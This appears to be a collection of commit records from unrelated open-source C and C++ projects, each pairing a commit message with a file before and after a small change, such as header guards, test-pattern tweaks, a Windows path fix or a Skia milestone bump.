/* Copyright 2012 Dennis Decker Jensen http://programmingpraxis.com/2012/12/07/wirth-problem-15-12/ In his 1973 book "Systematic Programming: An Introduction", Niklaus Wirth gives the following problem as exercise 15.12: Develop a program that generates in ascending order the least 100 numbers of the set M, where M is defined as follows: a) The number 1 is in M. b) If x is in M, then y = 2 * x + 1 and z = 3 * x + 1 are also in M c) No other numbers are in M Wirth also gives the first six numbers in the result sequence: 1, 3, 4, 7, 9, 10, ... Your task is to write a program that finds the first N numbers in Wirth's sequence. */ #include <stdio.h> void wirth(unsigned int n) { unsigned int y, z, iy, iz, i, m[n], min; m[0] = 1; printf(" 1: 1\n"); iy = iz = 0; for (i = 1; i < 100; ++i) { y = 2 * m[iy] + 1; z = 3 * m[iz] + 1; min = z < y ? z : y; m[i] = min; printf("%3d: %3d\n", i+1, min); if (y <= m[i]) ++iy; if (z <= m[i]) ++iz; } return; } int main(int argc, char *argv[]) { wirth(100); return 0; }
Change stubs for VDP1 cons driver
/* * Copyright (c) 2012 Israel Jacques * See LICENSE for details. * * Israel Jacques <mrko@eecs.berkeley.edu> */ #include "cons.h" typedef struct { } cons_vdp1_t; static struct cons_vdp1_t *cons_vdp1_new(void); static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t); void cons_vdp1_init(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons_vdp1_new(); cons->driver = cons_vdp1; cons->write = cons_vdp1_write; cons_reset(cons); } static struct cons_vdp1_t * cons_vdp1_new(void) { static struct cons_vdp1_t cons_vdp1; return &cons_vdp1; } static void cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg) { }
/* * Copyright (c) 2012 Israel Jacques * See LICENSE for details. * * Israel Jacques <mrko@eecs.berkeley.edu> */ #include <inttypes.h> #include <stdbool.h> #include <ctype.h> #include <string.h> #include "cons.h" typedef struct { } cons_vdp1_t; static cons_vdp1_t *cons_vdp1_new(void); static void cons_vdp1_reset(struct cons *); static void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t); void cons_vdp1_init(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons_vdp1_new(); cons->driver = cons_vdp1; cons->write = cons_vdp1_write; cons->reset = cons_vdp1_reset; cons_reset(cons); } static cons_vdp1_t * cons_vdp1_new(void) { /* XXX Replace with TLSF */ static cons_vdp1_t cons_vdp1; return &cons_vdp1; } static void cons_vdp1_reset(struct cons *cons) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons->driver; /* Reset */ } static void cons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg) { cons_vdp1_t *cons_vdp1; cons_vdp1 = cons->driver; }
Read on stdin for is_utf8 -
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "is_utf8.h" int main(int ac, char **av) { if (ac != 2) { fprintf(stderr, "USAGE: %s string\n", av[0]); return EXIT_FAILURE; } return is_utf8((unsigned char*)av[1], strlen(av[1])); }
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "is_utf8.h" #define BUFSIZE 4096 int main(int ac, char **av) { char buffer[BUFSIZE]; int read_retval; if (ac != 2) { fprintf(stderr, "USAGE: %s STRING or - for stdin.\n", av[0]); return EXIT_FAILURE; } if (strcmp(av[1], "-") == 0) { while (42) { read_retval = read(0, buffer, BUFSIZE); if (read_retval == 0) return EXIT_SUCCESS; if (read_retval == -1) { perror("read"); return EXIT_FAILURE; } if (is_utf8((unsigned char*)buffer, read_retval) != 0) return EXIT_FAILURE; } return EXIT_SUCCESS; } return is_utf8((unsigned char*)av[1], strlen(av[1])); }
Add dummy test for (fT).
#include <err.h> #include <math.h> #include <stdio.h> #include <stdlib.h> #include "pt.h" #define EPSILON 1.0e-8 int main(int argc, char **argv) { double e_ft, e_ref, *f_ov, *d_ov, *l1, *t2, *l2, *i_oovv; double *i2_oovo, *i3_ovvv, *i6_oovo, *i7_ovvv; size_t o, v; #ifdef WITH_MPI MPI_Init(&argc, &argv); #endif if (argc < 2) errx(1, "specify test file"); e_ft = cc_ft(o, v, f_ov, d_ov, l1, t2, l2, i_oovv, i2_oovo, i3_ovvv, i6_oovo, i7_ovvv); #ifdef WITH_MPI MPI_Finalize(); #endif return (fabs(e_ft - e_ref) < EPSILON ? 0 : 1); }
Fix for different build configurations.
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s extern void abort() __attribute__((noreturn)); void f1() { abort(); } // CHECK-LABEL: define void @f1() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: } void *f2() { abort(); return 0; } // CHECK-LABEL: define i8* @f2() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: }
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s extern void abort() __attribute__((noreturn)); void f1() { abort(); } // CHECK-LABEL: define {{.*}}void @f1() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: } void *f2() { abort(); return 0; } // CHECK-LABEL: define {{.*}}i8* @f2() // CHECK-NEXT: entry: // CHECK-NEXT: call void @abort() // CHECK-NEXT: unreachable // CHECK-NEXT: }
Tweak test run line for readability
// RUN: not %clang %s -verify 2>&1 | FileCheck %s // RUN: %clang -cc1 -verify %s // expected-no-diagnostics // Test that -verify is strictly rejected as unknown by the driver. // CHECK: unknown argument: '-verify'
// RUN: not %clang -verify %s 2>&1 | FileCheck %s // RUN: %clang -cc1 -verify %s // expected-no-diagnostics // Test that -verify is strictly rejected as unknown by the driver. // CHECK: unknown argument: '-verify'
Simplify importing Foundation while still compatible with C++
// // KeepLayout.h // Keep Layout // // Created by Martin Kiss on 28.1.13. // Copyright (c) 2013 Triceratops. All rights reserved. // #ifdef __cplusplus #import <Foundation/Foundation.h> #else @import Foundation; #endif FOUNDATION_EXPORT double KeepLayoutVersionNumber; FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[]; #import "KeepTypes.h" #import "KeepAttribute.h" #import "KeepView.h" #import "KeepArray.h" #import "KeepLayoutConstraint.h" #if TARGET_OS_IPHONE #import "UIViewController+KeepLayout.h" #import "UIScrollView+KeepLayout.h" #endif
// // KeepLayout.h // Keep Layout // // Created by Martin Kiss on 28.1.13. // Copyright (c) 2013 Triceratops. All rights reserved. // #import <Foundation/Foundation.h> FOUNDATION_EXPORT double KeepLayoutVersionNumber; FOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[]; #import "KeepTypes.h" #import "KeepAttribute.h" #import "KeepView.h" #import "KeepArray.h" #import "KeepLayoutConstraint.h" #if TARGET_OS_IPHONE #import "UIViewController+KeepLayout.h" #import "UIScrollView+KeepLayout.h" #endif
Add 06-symbeq/14-list_entry_rc version where alloc unrolling gives enough precision
// PARAM: --disable ana.mutex.disjoint_types --set ana.activated[+] "'var_eq'" --set ana.activated[+] "'symb_locks'" --set ana.malloc.unique_address_count 1 // Copied from 06-symbeq/14-list_entry_rc, proven safe thanks to unique address #include<pthread.h> #include<stdlib.h> #include<stdio.h> #define list_entry(ptr, type, member) \ ((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member))) pthread_mutexattr_t mutexattr; struct s { int datum; pthread_mutex_t mutex; int list; } *A; void init (struct s *p, int x) { p->datum = x; pthread_mutex_init(&p->mutex, &mutexattr); } void update (int *p) { struct s *s = list_entry(p, struct s, list); pthread_mutex_lock(&s->mutex); s++; // Not actual race: https://gitlab.com/sosy-lab/benchmarking/sv-benchmarks/-/issues/1354 s->datum++; // NORACE pthread_mutex_unlock(&s->mutex); // no UB because ERRORCHECK } void *t_fun(void *arg) { update(&A->list); return NULL; } int main () { pthread_mutexattr_init(&mutexattr); pthread_mutexattr_settype(&mutexattr, PTHREAD_MUTEX_ERRORCHECK); pthread_t t1; A = malloc(2 * sizeof(struct s)); init(A,666); init(&A[1],999); // extra element for s++ in update pthread_create(&t1, NULL, t_fun, NULL); update(&A->list); return 0; }
Update Skia milestone to 60
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 59 #endif
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 60 #endif
Add missing header file guards
/* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the GNU General Public License version 2. Note that NO WARRANTY is provided. * See "LICENSE_GPLv2.txt" for details. * * @TAG(NICTA_GPL) */ #include <platsupport/io.h> /** * This function initialises the hardware * @param[in] io_ops A structure containing os specific data and * functions. * @param[in] bar0 Where pci bar0 has been mapped into our vspace * @return A reference to the ethernet drivers state. */ struct eth_driver* ethif_e82580_init(ps_io_ops_t io_ops, void *bar0); /** * This function initialises the hardware * @param[in] io_ops A structure containing os specific data and * functions. * @param[in] bar0 Where pci bar0 has been mapped into our vspace * @return A reference to the ethernet drivers state. */ struct eth_driver* ethif_e82574_init(ps_io_ops_t io_ops, void *bar0);
/* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the GNU General Public License version 2. Note that NO WARRANTY is provided. * See "LICENSE_GPLv2.txt" for details. * * @TAG(NICTA_GPL) */ #ifndef ETHIF_INTEL_H #define ETHIF_INTEL_H #include <platsupport/io.h> /** * This function initialises the hardware * @param[in] io_ops A structure containing os specific data and * functions. * @param[in] bar0 Where pci bar0 has been mapped into our vspace * @return A reference to the ethernet drivers state. */ struct eth_driver* ethif_e82580_init(ps_io_ops_t io_ops, void *bar0); /** * This function initialises the hardware * @param[in] io_ops A structure containing os specific data and * functions. * @param[in] bar0 Where pci bar0 has been mapped into our vspace * @return A reference to the ethernet drivers state. */ struct eth_driver* ethif_e82574_init(ps_io_ops_t io_ops, void *bar0); #endif
Add alternative implementation of memory.h
#include <cstddef> #include <memory> #include <type_traits> #include <utility> #if (!defined(__clang__) && !defined(_MSC_VER) && __GNUC__ == 4 && __GNUC_MINOR__ < 9) namespace std { template <class T> struct _Unique_if { typedef unique_ptr<T> _Single_object; }; template <class T> struct _Unique_if<T[]> { typedef unique_ptr<T[]> _Unknown_bound; }; template <class T, size_t N> struct _Unique_if<T[N]> { typedef void _Known_bound; }; template <class T, class... Args> typename _Unique_if<T>::_Single_object make_unique(Args &&... args) { return unique_ptr<T>(new T(std::forward<Args>(args)...)); } template <class T> typename _Unique_if<T>::_Unknown_bound make_unique(size_t n) { typedef typename remove_extent<T>::type U; return unique_ptr<T>(new U[n]()); } template <class T, class... Args> typename _Unique_if<T>::_Known_bound make_unique(Args &&...) = delete; } #endif
Remove a needless using namespace
#ifndef RBOSL_MOVE_H #define RBOSL_MOVE_H #include "ruby.h" #include <osl/move.h> extern VALUE cMove; using namespace osl; #ifdef __cplusplus extern "C" { #endif extern void Init_move(VALUE mOsl); #ifdef __cplusplus } /* extern "C" */ #endif #endif /* RBOSL_MOVE_H */
#ifndef RBOSL_MOVE_H #define RBOSL_MOVE_H #include "ruby.h" #include <osl/move.h> extern VALUE cMove; #ifdef __cplusplus extern "C" { #endif extern void Init_move(VALUE mOsl); #ifdef __cplusplus } /* extern "C" */ #endif #endif /* RBOSL_MOVE_H */
Add basic packet handling code
#include <stdio.h> #include <string.h> #include <math.h> struct Packet { unsigned int status: 1; unsigned int group: 2; unsigned int plug: 2; }; unsigned int packet_to_binary(struct Packet packet) { unsigned int binary = (packet.status << 7); binary |= ((packet.group & 0x3) << 2); binary |= (packet.plug & 0x3); return binary & 0xFF; } void binary_to_packet(struct Packet *packet, unsigned int binary) { packet->status = (binary >> 7); packet->group = (binary >> 2) & 0x3; packet->plug = binary & 0x3; } void printBinary(int num, int digits) { int shift = digits - 1; int current = pow(2, shift); while (current > 0) { printf("%d", ((num & current) >> shift) & 1); shift--; current /= 2; } printf("\n"); }
Add test exhibiting problematic issue
// SKIP PARAM: --set solver td3 --set ana.activated "['base','threadid','threadflag','mallocWrapper','apron']" --set ana.base.privatization none --set ana.apron.privatization dummy extern int __VERIFIER_nondet_int(); void change(int *p) { (*p)++; } int g; int main() { int c = __VERIFIER_nondet_int(); g = 3; // Globals are not tracked by apron for now assert(g != 3); // FAIL assert(g == 3); int a = 5; int *p = &a; // after this apron should put a to top because pointers are not tracked change(p); assert(a - 6 == 0); return 0; }
// SKIP PARAM: --set solver td3 --set ana.activated "['base','threadid','threadflag','mallocWrapper','apron']" --set ana.base.privatization none --set ana.apron.privatization dummy extern int __VERIFIER_nondet_int(); void change(int *p) { (*p)++; } int g; int main() { int c = __VERIFIER_nondet_int(); g = 3; // Globals are not tracked by apron for now assert(g != 3); // FAIL assert(g == 3); int a = 5; int *p = &a; // after this apron should put a to top because pointers are not tracked change(p); assert(a == 5); //FAIL assert(a - 6 == 0); return 0; }
Correct define for this file. Fix function declarations.
/* * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2 */ #ifdef E_TYPEDEFS #else #ifndef E_WIDGET_BUTTON_H #define E_WIDGET_BUTTON_H EAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2); EAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2); EAPI void e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data); #endif #endif
/* * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2 */ #ifdef E_TYPEDEFS #else #ifndef E_WIDGET_ICONSEL_H #define E_WIDGET_ICONSEL_H EAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, char **file); EAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, char **file); EAPI void e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data); #endif #endif
Remove explicit from zero-parameter constructor
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_ #define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_ #include "base/memory/singleton.h" #include "chrome/browser/profiles/profile.h" #include "components/keyed_service/content/browser_context_keyed_service_factory.h" namespace history { class WebHistoryService; } // Used for creating and fetching a per-profile instance of the // WebHistoryService. class WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory { public: // Get the singleton instance of the factory. static WebHistoryServiceFactory* GetInstance(); // Get the WebHistoryService for |profile|, creating one if needed. static history::WebHistoryService* GetForProfile(Profile* profile); protected: // Overridden from BrowserContextKeyedServiceFactory. KeyedService* BuildServiceInstanceFor( content::BrowserContext* context) const override; private: friend struct DefaultSingletonTraits<WebHistoryServiceFactory>; explicit WebHistoryServiceFactory(); ~WebHistoryServiceFactory() override; DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory); }; #endif // CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_ #define CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_ #include "base/memory/singleton.h" #include "chrome/browser/profiles/profile.h" #include "components/keyed_service/content/browser_context_keyed_service_factory.h" namespace history { class WebHistoryService; } // Used for creating and fetching a per-profile instance of the // WebHistoryService. class WebHistoryServiceFactory : public BrowserContextKeyedServiceFactory { public: // Get the singleton instance of the factory. static WebHistoryServiceFactory* GetInstance(); // Get the WebHistoryService for |profile|, creating one if needed. static history::WebHistoryService* GetForProfile(Profile* profile); protected: // Overridden from BrowserContextKeyedServiceFactory. KeyedService* BuildServiceInstanceFor( content::BrowserContext* context) const override; private: friend struct DefaultSingletonTraits<WebHistoryServiceFactory>; WebHistoryServiceFactory(); ~WebHistoryServiceFactory() override; DISALLOW_COPY_AND_ASSIGN(WebHistoryServiceFactory); }; #endif // CHROME_BROWSER_HISTORY_WEB_HISTORY_SERVICE_FACTORY_H_
Remove the use of PATH_MAX from the Windows implementation of getProgramPath(). (dm)
/* * BRLTTY - A background process providing access to the Linux console (when in * text mode) for a blind person using a refreshable braille display. * * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved. * * BRLTTY comes with ABSOLUTELY NO WARRANTY. * * This is free software, placed under the terms of the * GNU General Public License, as published by the Free Software * Foundation. Please see the file COPYING for details. * * Web Page: http://mielke.cc/brltty/ * * This software is maintained by Dave Mielke <dave@mielke.cc>. */ char * getProgramPath (void) { CHAR path[MAX_PATH]; DWORD length = GetModuleFileName(GetModuleHandle(NULL), path, sizeof(path)); while (length > 0) if (path[--length] == '\\') path[length] = '/'; return strdupWrapper(path); }
/* * BRLTTY - A background process providing access to the Linux console (when in * text mode) for a blind person using a refreshable braille display. * * Copyright (C) 1995-2004 by The BRLTTY Team. All rights reserved. * * BRLTTY comes with ABSOLUTELY NO WARRANTY. * * This is free software, placed under the terms of the * GNU General Public License, as published by the Free Software * Foundation. Please see the file COPYING for details. * * Web Page: http://mielke.cc/brltty/ * * This software is maintained by Dave Mielke <dave@mielke.cc>. */ char * getProgramPath (void) { char *path = NULL; HMODULE handle; if ((handle = GetModuleHandle(NULL))) { size_t size = 0X80; char *buffer = NULL; while (1) { buffer = reallocWrapper(buffer, size<<=1); { DWORD length = GetModuleFileName(handle, buffer, size); if (!length) { LogWindowsError("GetModuleFileName"); break; } if (length < size) { buffer[length] = 0; path = strdupWrapper(buffer); while (length > 0) if (path[--length] == '\\') path[length] = '/'; break; } } } free(buffer); } else { LogWindowsError("GetModuleHandle"); } return path; }
Add intersected query to data.
/* * Contains the information about an intersection. * Author: Dino Wernli */ #ifndef INTERSECTIONDATA_H_ #define INTERSECTIONDATA_H_ #include "scene/element.h" #include "scene/material.h" #include "util/point3.h" #include "util/ray.h" struct IntersectionData { // Builds a new struct for this specific ray. The ray is necessary in order to // initialize "t" to the maximum "t" allowed by the ray. IntersectionData(const Ray& ray) : t(ray.max_t()), element(NULL), material(NULL) {} Scalar t; Point3 position; Vector3 normal; const Element* element; const Material* material; }; #endif /* INTERSECTIONDATA_H_ */
/* * Contains the information about an intersection. * Author: Dino Wernli */ #ifndef INTERSECTIONDATA_H_ #define INTERSECTIONDATA_H_ #include "scene/element.h" #include "scene/material.h" #include "util/point3.h" #include "util/ray.h" struct IntersectionData { // Builds a new struct for this specific ray. The ray is necessary in order to // initialize "t" to the maximum "t" allowed by the ray. IntersectionData(const Ray& ray) : t(ray.max_t()), element(NULL), material(NULL) {} bool Intersected() const { return element != NULL; } Scalar t; Point3 position; Vector3 normal; const Element* element; const Material* material; }; #endif /* INTERSECTIONDATA_H_ */
Fix hardcoded address length (IPv6 address are > 16 in length)
/// // // LibSourcey // Copyright (c) 2005, Sourcey <https://sourcey.com> // // SPDX-License-Identifier: LGPL-2.1+ // /// @addtogroup net /// @{ #ifndef SCY_Net_DNS_H #define SCY_Net_DNS_H #include "scy/net/net.h" #include "scy/net/address.h" #include "scy/request.h" #include "scy/logger.h" #include "scy/util.h" namespace scy { namespace net { /// DNS utilities. namespace dns { inline auto resolve(const std::string& host, int port, std::function<void(int,const net::Address&)> callback, uv::Loop* loop = uv::defaultLoop()) { return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) { if (event.status) { LWarn("Cannot resolve DNS for ", host, ": ", uv_strerror(event.status)) callback(event.status, net::Address{}); } else callback(event.status, net::Address{event.addr->ai_addr, 16}); }).resolve(host, port, loop); } } // namespace dns } // namespace net } // namespace scy #endif // SCY_Net_DNS_H /// @\}
/// // // LibSourcey // Copyright (c) 2005, Sourcey <https://sourcey.com> // // SPDX-License-Identifier: LGPL-2.1+ // /// @addtogroup net /// @{ #ifndef SCY_Net_DNS_H #define SCY_Net_DNS_H #include "scy/net/net.h" #include "scy/net/address.h" #include "scy/request.h" #include "scy/logger.h" #include "scy/util.h" namespace scy { namespace net { /// DNS utilities. namespace dns { inline auto resolve(const std::string& host, int port, std::function<void(int,const net::Address&)> callback, uv::Loop* loop = uv::defaultLoop()) { return uv::createRequest<uv::GetAddrInfoReq>([&](const uv::GetAddrInfoEvent& event) { if (event.status) { LWarn("Cannot resolve DNS for ", host, ": ", uv_strerror(event.status)) callback(event.status, net::Address{}); } else callback(event.status, net::Address{event.addr->ai_addr, event.addr->ai_addrlen}); }).resolve(host, port, loop); } } // namespace dns } // namespace net } // namespace scy #endif // SCY_Net_DNS_H /// @\}
Update test case to be compatible with auto-migration to new getelementptr syntax coming in the near future
// RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s char buffer[32] = "This is a largely unused buffer"; // __builtin___clear_cache always maps to @llvm.clear_cache, but what // each back-end produces is different, and this is tested in LLVM int main() { __builtin___clear_cache(buffer, buffer+32); // CHECK: @llvm.clear_cache(i8* getelementptr {{.*}}, i8* getelementptr {{.*}} (i8* getelementptr {{.*}} 32)) return 0; }
// RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s char buffer[32] = "This is a largely unused buffer"; // __builtin___clear_cache always maps to @llvm.clear_cache, but what // each back-end produces is different, and this is tested in LLVM int main() { __builtin___clear_cache(buffer, buffer+32); // CHECK: @llvm.clear_cache(i8* getelementptr inbounds ({{.*}}, i8* getelementptr inbounds (i8* getelementptr inbounds ({{.*}} 32)) return 0; }
Add safe string macro checking
/*********************************** LICENSE **********************************\ * Copyright 2017 Morphux * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * \******************************************************************************/ #ifndef M_UTIL # define M_UTIL # include <stdint.h> # include <sys/types.h> # include <sys/stat.h> # include <morphux.h> /*! * \brief Delete a directory recursively * * \param[in] dir Path of the directory to delete * * \return true on success, false on failure */ bool recursive_delete(const char *dir); #endif /* M_UTIL */
/*********************************** LICENSE **********************************\ * Copyright 2017 Morphux * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * \******************************************************************************/ #ifndef M_UTIL # define M_UTIL # include <stdint.h> # include <sys/types.h> # include <sys/stat.h> # include <morphux.h> # define STR_OR_EMPTY(str) (str ? str : "") # define STR_NULL_OR_EMPTY(str) (str == NULL || (str != NULL && *str == '\0')) /*! * \brief Delete a directory recursively * * \param[in] dir Path of the directory to delete * * \return true on success, false on failure */ bool recursive_delete(const char *dir); #endif /* M_UTIL */
Work around Mac not having `pthread_spinlock`
#include <pthread.h> #include <stdio.h> int myglobal; pthread_spinlock_t spinlock1; pthread_spinlock_t spinlock2; void *t_fun(void *arg) { pthread_spin_lock(&spinlock1); myglobal=myglobal+1; // NORACE pthread_spin_unlock(&spinlock1); return NULL; } int main(void) { pthread_t id; pthread_create(&id, NULL, t_fun, NULL); pthread_spin_lock(&spinlock1); myglobal=myglobal+1; // NORACE pthread_spin_unlock(&spinlock1); pthread_join (id, NULL); return 0; }
#include <pthread.h> #include <stdio.h> #ifdef __APPLE__ int main(void) { // OS X has no spin_lock int x =5; //NORACE } #else int myglobal; pthread_spinlock_t spinlock1; pthread_spinlock_t spinlock2; void *t_fun(void *arg) { pthread_spin_lock(&spinlock1); myglobal=myglobal+1; // NORACE pthread_spin_unlock(&spinlock1); return NULL; } int main(void) { pthread_t id; pthread_create(&id, NULL, t_fun, NULL); pthread_spin_lock(&spinlock1); myglobal=myglobal+1; // NORACE pthread_spin_unlock(&spinlock1); pthread_join (id, NULL); return 0; } #endif
Use of_get_next_parent to simplify code
/** * mpc5xxx_get_bus_frequency - Find the bus frequency for a device * @node: device node * * Returns bus frequency (IPS on MPC512x, IPB on MPC52xx), * or 0 if the bus frequency cannot be found. */ #include <linux/kernel.h> #include <linux/of_platform.h> #include <linux/export.h> #include <asm/mpc5xxx.h> unsigned long mpc5xxx_get_bus_frequency(struct device_node *node) { struct device_node *np; const unsigned int *p_bus_freq = NULL; of_node_get(node); while (node) { p_bus_freq = of_get_property(node, "bus-frequency", NULL); if (p_bus_freq) break; np = of_get_parent(node); of_node_put(node); node = np; } of_node_put(node); return p_bus_freq ? *p_bus_freq : 0; } EXPORT_SYMBOL(mpc5xxx_get_bus_frequency);
/** * mpc5xxx_get_bus_frequency - Find the bus frequency for a device * @node: device node * * Returns bus frequency (IPS on MPC512x, IPB on MPC52xx), * or 0 if the bus frequency cannot be found. */ #include <linux/kernel.h> #include <linux/of_platform.h> #include <linux/export.h> #include <asm/mpc5xxx.h> unsigned long mpc5xxx_get_bus_frequency(struct device_node *node) { const unsigned int *p_bus_freq = NULL; of_node_get(node); while (node) { p_bus_freq = of_get_property(node, "bus-frequency", NULL); if (p_bus_freq) break; node = of_get_next_parent(node); } of_node_put(node); return p_bus_freq ? *p_bus_freq : 0; } EXPORT_SYMBOL(mpc5xxx_get_bus_frequency);
Make this test actually pass, in addition to the previous patch which made it work.
// RUN: clang %s -emit-llvm -o - > %t1 // RUN: grep "shl i32 %tmp, 19" %t1 && // RUN: grep "ashr i32 %tmp1, 19" %t1 && // RUN: grep "shl i16 %tmp4, 1" %t1 && // RUN: grep "lshr i16 %tmp5, 9" %t1 && // RUN: grep "and i32 %tmp, -8192" %t1 && // RUN: grep "and i16 %tmp5, -32513" %t1 && // RUN: grep "getelementptr (i32\* bitcast (.struct.STestB2\* @stb2 to i32\*), i32 1)" %t1 // Test bitfield access struct STestB1 { int a:13; char b; unsigned short c:7;} stb1; struct STestB2 { short a[3]; int b:15} stb2; int f() { return stb1.a + stb1.b + stb1.c; } void g() { stb1.a = -40; stb1.b = 10; stb1.c = 15; } int h() { return stb2.a[1] + stb2.b; } void i(){ stb2.a[2] = -40; stb2.b = 10; }
// RUN: clang %s -emit-llvm -o - > %t1 // RUN: grep "shl i32 .*, 19" %t1 && // RUN: grep "ashr i32 .*, 19" %t1 && // RUN: grep "shl i16 .*, 1" %t1 && // RUN: grep "lshr i16 .*, 9" %t1 && // RUN: grep "and i32 .*, -8192" %t1 && // RUN: grep "and i16 .*, -32513" %t1 && // RUN: grep "getelementptr (i32\* bitcast (.struct.STestB2\* @stb2 to i32\*), i32 1)" %t1 // Test bitfield access struct STestB1 { int a:13; char b; unsigned short c:7;} stb1; struct STestB2 { short a[3]; int b:15} stb2; int f() { return stb1.a + stb1.b + stb1.c; } void g() { stb1.a = -40; stb1.b = 10; stb1.c = 15; } int h() { return stb2.a[1] + stb2.b; } void i(){ stb2.a[2] = -40; stb2.b = 10; }
Remove usage of deprecated glib stuff.
#ifndef TESTGP11HELPERS_H_ #define TESTGP11HELPERS_H_ #include "gp11.h" #define FAIL_RES(res, e) do { \ g_assert ((res) ? FALSE : TRUE); \ g_assert ((e) && (e)->message && "error should be set"); \ g_clear_error (&e); \ } while (0) #define SUCCESS_RES(res, err) do { \ if (!(res)) g_printerr ("error: %s\n", err && err->message ? err->message : ""); \ g_assert ((res) ? TRUE : FALSE && "should have succeeded"); \ g_clear_error (&err); \ } while(0) #define WAIT_UNTIL(cond) \ while(!cond) g_main_iteration (TRUE); #endif /*TESTGP11HELPERS_H_*/
#ifndef TESTGP11HELPERS_H_ #define TESTGP11HELPERS_H_ #include "gp11.h" #define FAIL_RES(res, e) do { \ g_assert ((res) ? FALSE : TRUE); \ g_assert ((e) && (e)->message && "error should be set"); \ g_clear_error (&e); \ } while (0) #define SUCCESS_RES(res, err) do { \ if (!(res)) g_printerr ("error: %s\n", err && err->message ? err->message : ""); \ g_assert ((res) ? TRUE : FALSE && "should have succeeded"); \ g_clear_error (&err); \ } while(0) #define WAIT_UNTIL(cond) \ while(!cond) g_main_context_iteration (NULL, TRUE); #endif /*TESTGP11HELPERS_H_*/
Add a common kernel entry point
/* * Common kernel entry point. */ #include <multiboot.h> #include <types.h> /* * This function is called by the architecture-specific boot proceedure, and * defines the entry to the euclid kernel. */ int k_main(struct multiboot *mboot, u32 stack); int k_main(struct multiboot *mboot, u32 stack) { /* For now let's just push a value to EAX (x86). */ return (int)0xABCDEFCC; }
Fix depracted boost asio types
#ifndef SESSION_CLIENT_H #define SESSION_CLIENT_H /// PROJECT #include <csapex/io/session.h> /// SYSTEM #include <boost/asio.hpp> namespace csapex { class SessionClient : public Session { public: SessionClient(const std::string& ip, int port); ~SessionClient() override; std::string getDescription() const override; void run() override; void shutdown() override; bool isRunning() const override; private: boost::asio::io_service io_service; boost::asio::ip::tcp::socket socket_impl; boost::asio::ip::tcp::resolver resolver; boost::asio::ip::tcp::resolver::iterator resolver_iterator; bool io_service_running_; std::string ip_; int port_; }; } // namespace csapex #endif // SESSION_CLIENT_H
